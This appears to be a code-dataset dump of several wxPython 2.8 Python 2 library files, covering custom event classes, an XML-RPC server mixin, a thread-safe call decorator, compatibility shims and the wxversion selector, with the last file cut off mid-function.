wx.grid.wxEVT_GRID_EDITOR_SHOWN\nwxEVT_GRID_EDITOR_HIDDEN = wx.grid.wxEVT_GRID_EDITOR_HIDDEN\nwxEVT_GRID_EDITOR_CREATED = wx.grid.wxEVT_GRID_EDITOR_CREATED\nwxEVT_GRID_CELL_BEGIN_DRAG = wx.grid.wxEVT_GRID_CELL_BEGIN_DRAG\n\n\nd = globals()\nfor k, v in wx.grid.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "9742447", "language": "Python", "matching_score": 1.1418054103851318, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/grid.py" }, { "content": "###############################################################################\n# Name: ed_event.py #\n# Purpose: Custom events used by Editra #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nProvides custom events for the editors controls/objects to utilize\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_event.py 63789 2010-03-30 02:25:17Z CJP $\"\n__revision__ = \"$Revision: 63789 $\"\n\n#-----------------------------------------------------------------------------#\n# Dependencies\nimport wx\n\n#-----------------------------------------------------------------------------#\n\nedEVT_UPDATE_TEXT = wx.NewEventType()\nEVT_UPDATE_TEXT = wx.PyEventBinder(edEVT_UPDATE_TEXT, 1)\nclass UpdateTextEvent(wx.PyCommandEvent):\n \"\"\"Event to signal that text needs updating\"\"\"\n def __init__(self, etype, eid, value=None):\n \"\"\"Creates the event object\"\"\"\n wx.PyCommandEvent.__init__(self, etype, eid)\n self._value = value\n\n def GetValue(self):\n \"\"\"Returns the value from the event.\n @return: the value of this event\n\n \"\"\"\n return self._value\n\n#--------------------------------------------------------------------------#\n\nedEVT_NOTIFY = wx.NewEventType()\nEVT_NOTIFY = wx.PyEventBinder(edEVT_NOTIFY, 1)\nclass NotificationEvent(UpdateTextEvent):\n \"\"\"General notification event\"\"\"\n def __init__(self, etype, eid, value=None, obj=None):\n UpdateTextEvent.__init__(self, etype, eid, value)\n self.SetEventObject(obj)\n\n#--------------------------------------------------------------------------#\n\nedEVT_MAINWINDOW_EXIT = wx.NewEventType()\nEVT_MAINWINDOW_EXIT = wx.PyEventBinder(edEVT_MAINWINDOW_EXIT, 1)\nclass MainWindowExitEvent(wx.PyCommandEvent):\n \"\"\"Event to signal that the main window is exiting\"\"\"\n pass\n\n#--------------------------------------------------------------------------#\n\nedEVT_STATUS = wx.NewEventType()\nEVT_STATUS = wx.PyEventBinder(edEVT_STATUS, 1)\nclass StatusEvent(wx.PyCommandEvent):\n \"\"\"Event for posting status events\"\"\"\n def __init__(self, etype, eid, msg=None, sec=0):\n \"\"\"Create an event that can be used to post status messages\n to the main windows status bar.\n @param etype: The type of event to create\n @param eid: The event id\n @keyword msg: The status message to post with the event\n @keyword sec: The section of the status bar to post message to\n\n \"\"\"\n wx.PyCommandEvent.__init__(self, etype, eid)\n self._msg = msg\n self._sec = sec\n\n def GetMessage(self):\n \"\"\"Returns the value from the event.\n @return: the value of this event\n\n \"\"\"\n return self._msg\n\n def GetSection(self):\n \"\"\"Returns the messages posting section\n @return: int zero based index of where to post to statusbar\n\n \"\"\"\n return self._sec\n", "id": "11849257", "language": "Python", "matching_score": 2.027076005935669, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_event.py" }, { "content": "\"\"\"Easy generation of new events classes and binder objects\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n\nimport wx\n\n#---------------------------------------------------------------------------\n\ndef NewEvent():\n \"\"\"Generate new (Event, Binder) tuple\n e.g. MooEvent, EVT_MOO = NewEvent()\n \"\"\"\n evttype = wx.NewEventType()\n \n class _Event(wx.PyEvent):\n def __init__(self, **kw):\n wx.PyEvent.__init__(self)\n self.SetEventType(evttype)\n self.__dict__.update(kw)\n\n return _Event, wx.PyEventBinder(evttype)\n\n\n\ndef NewCommandEvent():\n \"\"\"Generate new (CmdEvent, Binder) tuple\n e.g. MooCmdEvent, EVT_MOO = NewCommandEvent()\n \"\"\"\n evttype = wx.NewEventType()\n\n class _Event(wx.PyCommandEvent):\n def __init__(self, id, **kw):\n wx.PyCommandEvent.__init__(self, evttype, id)\n self.__dict__.update(kw)\n \n return _Event, wx.PyEventBinder(evttype, 1)\n\n\n#---------------------------------------------------------------------------\n\ndef _test():\n \"\"\"A little smoke test\"\"\"\n from threading import Thread\n from time import sleep\n\n MooEvent, EVT_MOO = NewEvent()\n GooEvent, EVT_GOO = NewCommandEvent()\n\n DELAY = 0.7\n\n def evt_thr(win):\n sleep(DELAY)\n wx.PostEvent(win, MooEvent(moo=1))\n\n def cmd_thr(win, id):\n sleep(DELAY)\n wx.PostEvent(win, GooEvent(id, goo=id))\n\n ID_CMD1 = wx.NewId()\n ID_CMD2 = wx.NewId()\n\n class Frame(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None, -1, \"MOO\")\n sizer = wx.BoxSizer(wx.VERTICAL)\n EVT_MOO(self, self.on_moo)\n b = wx.Button(self, -1, \"Generate MOO\")\n sizer.Add(b, 1, wx.EXPAND)\n wx.EVT_BUTTON(self, b.GetId(), self.on_evt_click)\n b = wx.Button(self, ID_CMD1, \"Generate GOO with %d\" % ID_CMD1)\n sizer.Add(b, 1, wx.EXPAND)\n wx.EVT_BUTTON(self, ID_CMD1, self.on_cmd_click)\n b = wx.Button(self, ID_CMD2, \"Generate GOO with %d\" % ID_CMD2)\n sizer.Add(b, 1, wx.EXPAND)\n wx.EVT_BUTTON(self, ID_CMD2, self.on_cmd_click)\n\n EVT_GOO(self, ID_CMD1, self.on_cmd1)\n EVT_GOO(self, ID_CMD2, self.on_cmd2)\n\n self.SetSizer(sizer)\n self.SetAutoLayout(True)\n sizer.Fit(self)\n\n def on_evt_click(self, e):\n t = Thread(target=evt_thr, args=(self, ))\n t.setDaemon(True)\n t.start()\n\n def on_cmd_click(self, e):\n t = Thread(target=cmd_thr, args=(self, e.GetId()))\n t.setDaemon(True)\n t.start()\n\n def show(self, msg, title):\n dlg = wx.MessageDialog(self, msg, title, wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n\n def on_moo(self, e):\n self.show(\"MOO = %s\" % e.moo, \"Got Moo\")\n\n def on_cmd1(self, e):\n self.show(\"goo = %s\" % e.goo, \"Got Goo (cmd1)\")\n\n def on_cmd2(self, e):\n self.show(\"goo = %s\" % e.goo, \"Got Goo (cmd2)\")\n \n\n app = wx.PySimpleApp()\n f = Frame()\n f.Show(True)\n app.MainLoop()\n\nif __name__ == \"__main__\":\n _test()\n", "id": "3543973", "language": "Python", "matching_score": 1.4355491399765015, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/newevent.py" }, { "content": "#\n# This was modified from rpcMixin.py distributed with wxPython\n#\n#----------------------------------------------------------------------\n# Name: rpcMixin\n# Version: 0.2.0\n# Purpose: provides xmlrpc server functionality for wxPython\n# applications via a mixin class\n#\n# Requires: (1) Python with threading enabled.\n# (2) xmlrpclib from PythonWare\n# (http://www.pythonware.com/products/xmlrpc/)\n# the code was developed and tested using version 0.9.8\n#\n# Author: <NAME> (<EMAIL>)\n#\n# Copyright: (c) 2000, 2001 by <NAME> and Rational Discovery LLC\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n# 12/11/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n# o xmlrpcserver not available.\n#\n\n\"\"\"provides xmlrpc server functionality for wxPython applications via a mixin class\n\n**Some Notes:**\n\n 1) The xmlrpc server runs in a separate thread from the main GUI\n application, communication between the two threads using a custom\n event (see the Threads demo in the wxPython docs for more info).\n\n 2) Neither the server nor the client are particularly smart about\n checking method names. So it's easy to shoot yourself in the foot\n by calling improper methods. It would be pretty easy to add\n either a list of allowed methods or a list of forbidden methods.\n\n 3) Authentication of xmlrpc clients is *not* performed. I think it\n would be pretty easy to do this in a hacky way, but I haven't done\n it yet.\n\n 4) See the bottom of this file for an example of using the class.\n\n**Obligatory disclaimer:**\n This is my first crack at both using xmlrpc and multi-threaded\n programming, so there could be huge horrible bugs or design\n flaws. If you see one, I'd love to hear about them.\n\n\"\"\"\n\n\n\"\"\" ChangeLog\n23 May 2001: Version bumped to 0.2.0\n Numerous code and design changes\n\n21 Mar. 2001: Version bumped to 0.1.4\n Updated rpcMixin.OnExternal to support methods with further references\n (i.e. now you can do rpcClient.foo.bar() and have it work)\n This probably ain't super legal in xmlrpc land, but it works just fine here\n and we need it.\n\n6 Mar. 2001: Version bumped to 0.1.3\n Documentation changes to make this compatible with happydoc\n\n21 Jan. 2001: Version bumped to 0.1.2\n OnExternal() method in the mixin class now uses getattr() to check if\n a desired method is present. It should have been done this way in\n the first place.\n14 Dec. 2000: Version bumped to 0.1.1\n rearranged locking code and made other changes so that multiple\n servers in one application are possible.\n\n\"\"\"\n\nimport new\nimport SocketServer\nimport sys\nimport threading\nimport xmlrpclib\nimport xmlrpcserver\n\nimport wx\n\nrpcPENDING = 0\nrpcDONE = 1\nrpcEXCEPT = 2\n\nclass RPCRequest:\n \"\"\"A wrapper to use for handling requests and their responses\"\"\"\n status = rpcPENDING\n result = None\n\n# here's the ID for external events\nwxEVT_EXTERNAL_EVENT = wx.NewEventType()\nEVT_EXTERNAL_EVENT = wx.PyEventBinder(wxEVT_EXTERNAL_EVENT, 0)\n\nclass ExternalEvent(wx.PyEvent):\n \"\"\"The custom event class used to pass xmlrpc calls from\n the server thread into the GUI thread\n\n \"\"\"\n def __init__(self,method,args):\n wx.PyEvent.__init__(self)\n self.SetEventType(wxEVT_EXTERNAL_EVENT)\n self.method = method\n self.args = args\n self.rpcStatus = RPCRequest()\n self.rpcStatusLock = threading.Lock()\n self.rpcCondVar = threading.Condition()\n\n def Destroy(self):\n self.method=None\n self.args=None\n self.rpcStatus = None\n self.rpcStatusLock = None\n self.rpcondVar = None\n\nclass Handler(xmlrpcserver.RequestHandler):\n \"\"\"The handler class that the xmlrpcserver actually calls\n when a request comes in.\n\n \"\"\"\n def log_message(self,*args):\n \"\"\" causes the server to stop spewing messages every time a request comes in\n\n \"\"\"\n pass\n def call(self,method,params):\n \"\"\"When an xmlrpc request comes in, this is the method that\n gets called.\n\n **Arguments**\n\n - method: name of the method to be called\n\n - params: arguments to that method\n\n \"\"\"\n if method == '_rpcPing':\n # we just acknowledge these without processing them\n return 'ack'\n\n # construct the event\n evt = ExternalEvent(method,params)\n\n # update the status variable\n evt.rpcStatusLock.acquire()\n evt.rpcStatus.status = rpcPENDING\n evt.rpcStatusLock.release()\n\n evt.rpcCondVar.acquire()\n # dispatch the event to the GUI\n wx.PostEvent(self._app,evt)\n\n # wait for the GUI to finish\n while evt.rpcStatus.status == rpcPENDING:\n evt.rpcCondVar.wait()\n evt.rpcCondVar.release()\n evt.rpcStatusLock.acquire()\n if evt.rpcStatus.status == rpcEXCEPT:\n # The GUI threw an exception, release the status lock\n # and re-raise the exception\n evt.rpcStatusLock.release()\n raise evt.rpcStatus.result[0],evt.rpcStatus.result[1]\n else:\n # everything went through without problems\n s = evt.rpcStatus.result\n\n evt.rpcStatusLock.release()\n evt.Destroy()\n self._app = None\n return s\n\n# this global Event is used to let the server thread\n# know when it should quit\nstopEvent = threading.Event()\nstopEvent.clear()\n\nclass _ServerThread(threading.Thread):\n \"\"\" this is the Thread class which actually runs the server\n\n \"\"\"\n def __init__(self,server,verbose=0):\n self._xmlServ = server\n threading.Thread.__init__(self,verbose=verbose)\n\n def stop(self):\n stopEvent.set()\n\n def shouldStop(self):\n return stopEvent.isSet()\n\n def run(self):\n while not self.shouldStop():\n self._xmlServ.handle_request()\n self._xmlServ = None\n\nclass rpcMixin:\n \"\"\"A mixin class to provide xmlrpc server functionality to wxPython\n frames/windows\n\n If you want to customize this, probably the best idea is to\n override the OnExternal method, which is what's invoked when an\n RPC is handled.\n\n \"\"\"\n\n # we'll try a range of ports for the server, this is the size of the\n # range to be scanned\n nPortsToTry=20\n if sys.platform == 'win32':\n defPort = 800\n else:\n defPort = 8023\n\n def __init__(self,host='',port=-1,verbose=0,portScan=1):\n \"\"\"Constructor\n\n **Arguments**\n\n - host: (optional) the hostname for the server\n\n - port: (optional) the port the server will use\n\n - verbose: (optional) if set, the server thread will be launched\n in verbose mode\n\n - portScan: (optional) if set, we'll scan across a number of ports\n to find one which is avaiable\n\n \"\"\"\n if port == -1:\n port = self.defPort\n self.verbose=verbose\n self.Bind(EVT_EXTERNAL_EVENT,self.OnExternal)\n if hasattr(self,'OnClose'):\n self._origOnClose = self.OnClose\n self.Disconnect(-1,-1,wx.EVT_CLOSE_WINDOW)\n else:\n self._origOnClose = None\n self.OnClose = self.RPCOnClose\n self.Bind(wx.EVT_CLOSE,self.RPCOnClose)\n\n tClass = new.classobj('Handler%d'%(port),(Handler,),{})\n tClass._app = self\n if portScan:\n self.rpcPort = -1\n for i in xrange(self.nPortsToTry):\n try:\n xmlServ = SocketServer.TCPServer((host,port+i),tClass)\n except:\n pass\n else:\n self.rpcPort = port+i\n else:\n self.rpcPort = port\n try:\n xmlServ = SocketServer.TCPServer((host,port),tClass)\n except:\n self.rpcPort = -1\n\n if self.rpcPort == -1:\n raise 'RPCMixinError','Cannot initialize server'\n self.servThread = _ServerThread(xmlServ,verbose=self.verbose)\n self.servThread.setName('XML-RPC Server')\n self.servThread.start()\n\n def RPCOnClose(self,event):\n \"\"\" callback for when the application is closed\n\n be sure to shutdown the server and the server thread before\n leaving\n\n \"\"\"\n # by setting the global stopEvent we inform the server thread\n # that it's time to shut down.\n stopEvent.set()\n if event is not None:\n # if we came in here from a user event (as opposed to an RPC event),\n # then we'll need to kick the server one last time in order\n # to get that thread to terminate. do so now\n s1 = xmlrpclib.Server('http://localhost:%d'%(self.rpcPort))\n try:\n s1._rpcPing()\n except:\n pass\n\n if self._origOnClose is not None:\n self._origOnClose(event)\n\n def RPCQuit(self):\n \"\"\" shuts down everything, including the rpc server\n\n \"\"\"\n self.RPCOnClose(None)\n def OnExternal(self,event):\n \"\"\" this is the callback used to handle RPCs\n\n **Arguments**\n\n - event: an _ExternalEvent_ sent by the rpc server\n\n Exceptions are caught and returned in the global _rpcStatus\n structure. This allows the xmlrpc server to report the\n exception to the client without mucking up any of the delicate\n thread stuff.\n\n \"\"\"\n event.rpcStatusLock.acquire()\n doQuit = 0\n try:\n methsplit = event.method.split('.')\n meth = self\n for piece in methsplit:\n meth = getattr(meth,piece)\n except AttributeError,msg:\n event.rpcStatus.result = 'No Such Method',msg\n event.rpcStatus.status = rpcEXCEPT\n else:\n try:\n res = apply(meth,event.args)\n except:\n import traceback\n if self.verbose: traceback.print_exc()\n event.rpcStatus.result = sys.exc_info()[:2]\n event.rpcStatus.status = rpcEXCEPT\n else:\n if res is None:\n # returning None across the xmlrpc interface is problematic\n event.rpcStatus.result = []\n else:\n event.rpcStatus.result = res\n event.rpcStatus.status = rpcDONE\n\n event.rpcStatusLock.release()\n\n # broadcast (using the condition var) that we're done with the event\n event.rpcCondVar.acquire()\n event.rpcCondVar.notify()\n event.rpcCondVar.release()\n\n\nif __name__ == '__main__':\n import time\n if sys.platform == 'win32':\n port = 800\n else:\n port = 8023\n\n class rpcFrame(wx.Frame,rpcMixin):\n \"\"\"A simple wxFrame with the rpcMixin functionality added\n \"\"\"\n def __init__(self,*args,**kwargs):\n \"\"\" rpcHost or rpcPort keyword arguments will be passed along to\n the xmlrpc server.\n \"\"\"\n mixinArgs = {}\n if kwargs.has_key('rpcHost'):\n mixinArgs['host'] = kwargs['rpcHost']\n del kwargs['rpcHost']\n if kwargs.has_key('rpcPort'):\n mixinArgs['port'] = kwargs['rpcPort']\n del kwargs['rpcPort']\n if kwargs.has_key('rpcPortScan'):\n mixinArgs['portScan'] = kwargs['rpcPortScan']\n del kwargs['rpcPortScan']\n\n apply(wx.Frame.__init__,(self,)+args,kwargs)\n apply(rpcMixin.__init__,(self,),mixinArgs)\n\n self.Bind(wx.EVT_CHAR,self.OnChar)\n\n def TestFunc(self,args):\n \"\"\"a demo method\"\"\"\n return args\n\n def OnChar(self,event):\n key = event.GetKeyCode()\n if key == ord('q'):\n self.OnQuit(event)\n\n def OnQuit(self,event):\n self.OnClose(event)\n\n def OnClose(self,event):\n self.Destroy()\n\n\n\n class MyApp(wx.App):\n def OnInit(self):\n self.frame = rpcFrame(None, -1, \"wxPython RPCDemo\", wx.DefaultPosition,\n (300,300), rpcHost='localhost',rpcPort=port)\n self.frame.Show(True)\n return True\n\n\n def testcon(port):\n s1 = xmlrpclib.Server('http://localhost:%d'%(port))\n s1.SetTitle('Munged')\n s1._rpcPing()\n if doQuit:\n s1.RPCQuit()\n\n doQuit = 1\n if len(sys.argv)>1 and sys.argv[1] == '-q':\n doQuit = 0\n nT = threading.activeCount()\n app = MyApp(0)\n activePort = app.frame.rpcPort\n t = threading.Thread(target=lambda x=activePort:testcon(x),verbose=0)\n t.start()\n\n app.MainLoop()\n # give the threads time to shut down\n if threading.activeCount() > nT:\n print 'waiting for all threads to terminate'\n while threading.activeCount() > nT:\n time.sleep(0.5)\n\n\n", "id": "147216", "language": "Python", "matching_score": 3.077098846435547, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/rpcMixin.py" }, { "content": "\"\"\"\nCollection of helpful decorator methods\n\n\"\"\"\n\n__all__ = ['anythread',]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\nimport threading\n\n#-----------------------------------------------------------------------------#\n\n#\n# <Found on PyPi: License: Public Domain>\n# Author: <NAME>\n#\n# wxAnyThread: allow methods on wxPython objects to be called from any thread\n#\n# In wxPython, methods that alter the state of the GUI are only safe to call from\n# the thread running the main event loop. Other threads must typically post\n# events to the GUI thread instead of invoking methods directly.\n#\n# While there are builtin shortcuts for this (e.g. wx.CallAfter) they do not\n# capture the full semantics of a function call. This module provides an easy\n# way to invoke methods from any thread *transparently*, propagating return\n# values and exceptions back to the calling thread.\n#\n# The main interface is a decorator named \"anythread\", which can be applied\n# to methods to make them safe to call from any thread, like so:\n#\n# class MyFrame(wx.Frame):\n#\n# @anythread\n# def ShowFancyStuff():\n# dlg = MyQueryDialog(self,\"Enter some data\")\n# if dlg.ShowModal() == wx.ID_OK:\n# resp = dlg.GetResponse()\n# return int(resp)\n# else:\n# raise NoDataEnteredError()\n#\n# The ShowFancyStuff method can now be directly invoked from any thread.\n# The calling thread will block while the main GUI thread shows the dialog,\n# and will then receive a return value or exception as appropriate.\n#\n\n_EVT_INVOKE_METHOD = wx.NewEventType()\n\nclass MethodInvocationEvent(wx.PyEvent):\n \"\"\"Event fired to the GUI thread indicating a method invocation.\"\"\"\n def __init__(self, func, args, kwds):\n wx.PyEvent.__init__(self)\n self.SetEventType(_EVT_INVOKE_METHOD)\n self.func = func\n self.args = args\n self.kwds = kwds\n # The calling thread will block on this semaphore, which the GUI\n # thread will release when the results are available.\n # TODO: how expensive are these to create? Should we re-use them?\n self.blocker = threading.Semaphore(0)\n\n def invoke(self):\n wx.PostEvent(self.args[0], self)\n self.blocker.acquire()\n try:\n return self.result\n except AttributeError:\n raise self.exception\n\n def process(self):\n try:\n self.result = self.func(*self.args, **self.kwds)\n except Exception, e:\n self.exception = e\n self.blocker.release()\n\ndef handler(evt):\n evt.process()\n\ndef anythread(func):\n \"\"\"Method decorator allowing call from any thread.\n The method is replaced by one that posts a MethodInvocationEvent to the\n object, then blocks waiting for it to be completed. The target object\n if automatically connected to the _EVT_INVOKE_METHOD event if it wasn't\n alread connected.\n\n \"\"\"\n def invoker(*args, **kwds):\n if wx.Thread_IsMain():\n return func(*args, **kwds)\n else:\n self = args[0]\n if not hasattr(self, \"_AnyThread__connected\"):\n self.Connect(-1, -1, _EVT_INVOKE_METHOD,handler)\n self._AnyThread__connected = True\n evt = MethodInvocationEvent(func, args, kwds)\n return evt.invoke()\n\n invoker.__name__ = func.__name__\n invoker.__doc__ = func.__doc__\n return invoker\n\n#-----------------------------------------------------------------------------#\n", "id": "4416794", "language": "Python", "matching_score": 1.7133342027664185, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/extern/decorlib.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.ErrorDialogs\n\n__doc__ = wx.lib.ErrorDialogs.__doc__\n\n_createhtmlmail = wx.lib.ErrorDialogs._createhtmlmail\n_sendmail = wx.lib.ErrorDialogs._sendmail\n_startmailerwithhtml = wx.lib.ErrorDialogs._startmailerwithhtml\n_writehtmlmessage = wx.lib.ErrorDialogs._writehtmlmessage\nwxPyDestroyErrorDialogIfPresent = wx.lib.ErrorDialogs.wxPyDestroyErrorDialogIfPresent\nwxPyFatalError = wx.lib.ErrorDialogs.wxPyFatalError\nwxPyFatalErrorDialog = wx.lib.ErrorDialogs.wxPyFatalErrorDialog\nwxPyFatalErrorDialogWithTraceback = wx.lib.ErrorDialogs.wxPyFatalErrorDialogWithTraceback\nwxPyFatalOrNonFatalError = wx.lib.ErrorDialogs.wxPyFatalOrNonFatalError\nwxPyNewErrorDialog = wx.lib.ErrorDialogs.wxPyNewErrorDialog\nwxPyNonFatalError = wx.lib.ErrorDialogs.wxPyNonFatalError\nwxPyNonFatalErrorDialog = wx.lib.ErrorDialogs.wxPyNonFatalErrorDialog\nwxPyNonFatalErrorDialogWithTraceback = wx.lib.ErrorDialogs.wxPyNonFatalErrorDialogWithTraceback\nwxPyNonWindowingError = wx.lib.ErrorDialogs.wxPyNonWindowingError\nwxPyNonWindowingErrorHandler = wx.lib.ErrorDialogs.wxPyNonWindowingErrorHandler\nwxPyResizeHTMLWindowToDispelScrollbar = wx.lib.ErrorDialogs.wxPyResizeHTMLWindowToDispelScrollbar\nwxPythonRExec = wx.lib.ErrorDialogs.wxPythonRExec\n", "id": "5960831", "language": "Python", "matching_score": 5.142822265625, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/ErrorDialogs.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.ErrorDialogs_wdr\n\n__doc__ = wx.lib.ErrorDialogs_wdr.__doc__\n\npopulate_wxPyFatalError = wx.lib.ErrorDialogs_wdr.populate_wxPyFatalError\npopulate_wxPyFatalErrorDialog = wx.lib.ErrorDialogs_wdr.populate_wxPyFatalErrorDialog\npopulate_wxPyFatalErrorDialogWithTraceback = wx.lib.ErrorDialogs_wdr.populate_wxPyFatalErrorDialogWithTraceback\npopulate_wxPyNonFatalError = wx.lib.ErrorDialogs_wdr.populate_wxPyNonFatalError\npopulate_wxPyNonFatalErrorDialog = wx.lib.ErrorDialogs_wdr.populate_wxPyNonFatalErrorDialog\npopulate_wxPyNonFatalErrorDialogWithTraceback = wx.lib.ErrorDialogs_wdr.populate_wxPyNonFatalErrorDialogWithTraceback\n", "id": "11447325", "language": "Python", "matching_score": 0.37378066778182983, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/ErrorDialogs_wdr.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wxversion\n# Purpose: Allows a wxPython program to search for alternate \n# installations of the wxPython packages and modify sys.path\n# so they will be found when \"import wx\" is done.\n#\n# Author: <NAME>\n#\n# Created: 24-Sept-2004\n# RCS-ID: $Id: wxversion.py 49375 2007-10-23 21:41:52Z RD $\n# Copyright: (c) 2004 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\n\"\"\"\nIf you have more than one version of wxPython installed this module\nallows your application to choose which version of wxPython will be\nimported when it does 'import wx'. The main function of this module\nis `select` and you use it like this::\n\n import wxversion\n wxversion.select('2.4')\n import wx\n\nOr additional build options can also be selected, although they will\nnot be required if they are not installed, like this::\n\n import wxversion\n wxversion.select('2.5.3-unicode')\n import wx\n\nOr you can require an exact match on the build options like this::\n\n import wxversion\n wxversion.select('2.5.3-unicode', optionsRequired=True)\n import wx\n\nFinally you can also specify a collection of versions that are allowed\nby your application, like this::\n\n import wxversion\n wxversion.select(['2.5.4', '2.5.5', '2.6'])\n import wx\n\n\nOf course the default wxPython version can also be controlled by\nsetting PYTHONPATH or by editing the wx.pth path configuration file,\nbut using wxversion will allow an application to manage the version\nselection itself rather than depend on the user to setup the\nenvironment correctly.\n\nIt works by searching the sys.path for directories matching wx-* and\nthen comparing them to what was passed to the select function. If a\nmatch is found then that path is inserted into sys.path.\n\nNOTE: If you are making a 'bundle' of your application with a tool\nlike py2exe then you should *not* use the wxversion module since it\nlooks at the filesystem for the directories on sys.path, it will fail\nin a bundled environment. Instead you should simply ensure that the\nversion of wxPython that you want is found by default on the sys.path\nwhen making the bundled version by setting PYTHONPATH. Then that\nversion will be included in your bundle and your app will work as\nexpected. Py2exe and the others usually have a way to tell at runtime\nif they are running from a bundle or running raw, so you can check\nthat and only use wxversion if needed. For example, for py2exe::\n\n if not hasattr(sys, 'frozen'):\n import wxversion\n wxversion.select('2.5')\n import wx\n\nMore documentation on wxversion and multi-version installs can be\nfound at: http://wiki.wxpython.org/index.cgi/MultiVersionInstalls\n\n\"\"\"\n\nimport re, sys, os, glob, fnmatch\n\n\n_selected = None\nclass VersionError(Exception):\n pass\n\nclass AlreadyImportedError(VersionError):\n pass\n\n#----------------------------------------------------------------------\n\ndef select(versions, optionsRequired=False):\n \"\"\"\n Search for a wxPython installation that matches version. If one\n is found then sys.path is modified so that version will be\n imported with a 'import wx', otherwise a VersionError exception is\n raised. This funciton should only be caled once at the begining\n of the application before wxPython is imported.\n\n :param versions: Specifies the version to look for, it can\n either be a string or a list of strings. Each string is\n compared to the installed wxPythons and the best match is\n inserted into the sys.path, allowing an 'import wx' to\n find that version.\n\n The version string is composed of the dotted version\n number (at least 2 of the 4 components) optionally\n followed by hyphen ('-') separated options (wx port,\n unicode/ansi, flavour, etc.) A match is determined by how\n much of the installed version matches what is given in the\n version parameter. If the version number components don't\n match then the score is zero, otherwise the score is\n increased for every specified optional component that is\n specified and that matches.\n\n Please note, however, that it is possible for a match to\n be selected that doesn't exactly match the versions\n requested. The only component that is required to be\n matched is the version number. If you need to require a\n match on the other components as well, then please use the\n optional ``optionsRequired`` parameter described next.\n\n :param optionsRequired: Allows you to specify that the other\n components of the version string (such as the port name\n or character type) are also required to be present for an\n installed version to be considered a match. Using this\n parameter allows you to change the selection from a soft,\n as close as possible match to a hard, exact match.\n \n \"\"\"\n if type(versions) == str:\n versions = [versions]\n\n global _selected\n if _selected is not None:\n # A version was previously selected, ensure that it matches\n # this new request\n for ver in versions:\n if _selected.Score(_wxPackageInfo(ver), optionsRequired) > 0:\n return\n # otherwise, raise an exception\n raise VersionError(\"A previously selected wx version does not match the new request.\")\n\n # If we get here then this is the first time wxversion is used, \n # ensure that wxPython hasn't been imported yet.\n if sys.modules.has_key('wx') or sys.modules.has_key('wxPython'):\n raise AlreadyImportedError(\"wxversion.select() must be called before wxPython is imported\")\n \n # Look for a matching version and manipulate the sys.path as\n # needed to allow it to be imported.\n installed = _find_installed(True)\n bestMatch = _get_best_match(installed, versions, optionsRequired)\n \n if bestMatch is None:\n raise VersionError(\"Requested version of wxPython not found\")\n\n sys.path.insert(0, bestMatch.pathname)\n # q.v. Bug #1409256\n path64 = re.sub('/lib/','/lib64/',bestMatch.pathname)\n if os.path.isdir(path64):\n sys.path.insert(0, path64)\n _selected = bestMatch\n \n#----------------------------------------------------------------------\n\nUPDATE_URL = \"http://wxPython.org/\"\n#UPDATE_URL = \"http://sourceforge.net/project/showfiles.php?group_id=10718\"\n\n_EM_DEBUG=0\n\ndef ensureMinimal(minVersion, optionsRequired=False):\n \"\"\"\n Checks to see if the default version of wxPython is greater-than\n or equal to `minVersion`. If not then it will try to find an\n installed version that is >= minVersion. If none are available\n then a message is displayed that will inform the user and will\n offer to open their web browser to the wxPython downloads page,\n and will then exit the application.\n \"\"\"\n assert type(minVersion) == str\n\n # ensure that wxPython hasn't been imported yet.\n if sys.modules.has_key('wx') or sys.modules.has_key('wxPython'):\n raise AlreadyImportedError(\"wxversion.ensureMinimal() must be called before wxPython is imported\")\n\n bestMatch = None\n minv = _wxPackageInfo(minVersion)\n\n # check the default version first\n defaultPath = _find_default()\n if defaultPath:\n defv = _wxPackageInfo(defaultPath, True)\n if defv >= minv and minv.CheckOptions(defv, optionsRequired):\n bestMatch = defv\n\n # if still no match then check look at all installed versions\n if bestMatch is None:\n installed = _find_installed()\n # The list is in reverse sorted order, so find the first\n # one that is big enough and optionally matches the\n # options\n for inst in installed:\n if inst >= minv and minv.CheckOptions(inst, optionsRequired):\n bestMatch = inst\n break\n\n # if still no match then prompt the user\n if bestMatch is None:\n if _EM_DEBUG: # We'll do it this way just for the test code below\n raise VersionError(\"Requested version of wxPython not found\")\n \n import wx, webbrowser\n versions = \"\\n\".join([\" \"+ver for ver in getInstalled()])\n app = wx.PySimpleApp()\n result = wx.MessageBox(\"This application requires a version of wxPython \"\n \"greater than or equal to %s, but a matching version \"\n \"was not found.\\n\\n\"\n \"You currently have these version(s) installed:\\n%s\\n\\n\"\n \"Would you like to download a new version of wxPython?\\n\"\n % (minVersion, versions),\n \"wxPython Upgrade Needed\", style=wx.YES_NO)\n if result == wx.YES:\n webbrowser.open(UPDATE_URL)\n app.MainLoop()\n sys.exit()\n\n sys.path.insert(0, bestMatch.pathname)\n # q.v. Bug #1409256\n path64 = re.sub('/lib/','/lib64/',bestMatch.pathname)\n if os.path.isdir(path64):\n 